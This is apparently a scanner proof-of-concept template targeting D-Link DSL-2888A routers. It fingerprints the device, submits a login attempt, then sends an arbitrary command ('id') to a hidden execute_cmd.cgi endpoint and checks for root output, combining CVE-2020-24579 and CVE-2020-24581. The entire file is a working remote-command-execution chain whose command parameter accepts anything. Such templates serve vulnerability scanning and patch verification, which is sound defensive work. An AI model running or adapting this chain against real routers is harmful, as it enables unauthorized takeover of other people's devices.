dlink-dsl-2888a-rce.yml

name: poc-yaml-dlink-dsl-2888a-rce
manual: true
transport: http
rules:
    r0:
        request:
            cache: true
            method: GET
            path: /page/login/login.html
            follow_redirects: false
        expression: response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"var ModelName=\"DSL-2888A\";")
    r1:
        request:
            cache: true
            method: POST
            path: /
            headers:
                Content-Type: application/x-www-form-urlencoded
            body: username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
            follow_redirects: false
        expression: response.status == 302 && response.headers["location"] == "/page/login/login_fail.html"
    r2:
        request:
            cache: true
            method: GET
            path: /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=id
            follow_redirects: false
        expression: response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"uid=0(admin) gid=0(admin)")
expression: r0() && r1() && r2()
detail:
    author: mvhz81
    links:
        - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/
    info: dlink-dsl-2888a CVE-2020-24579(Insufficient Authentication) + Hidden Functionality (CVE-2020-24581) = RCE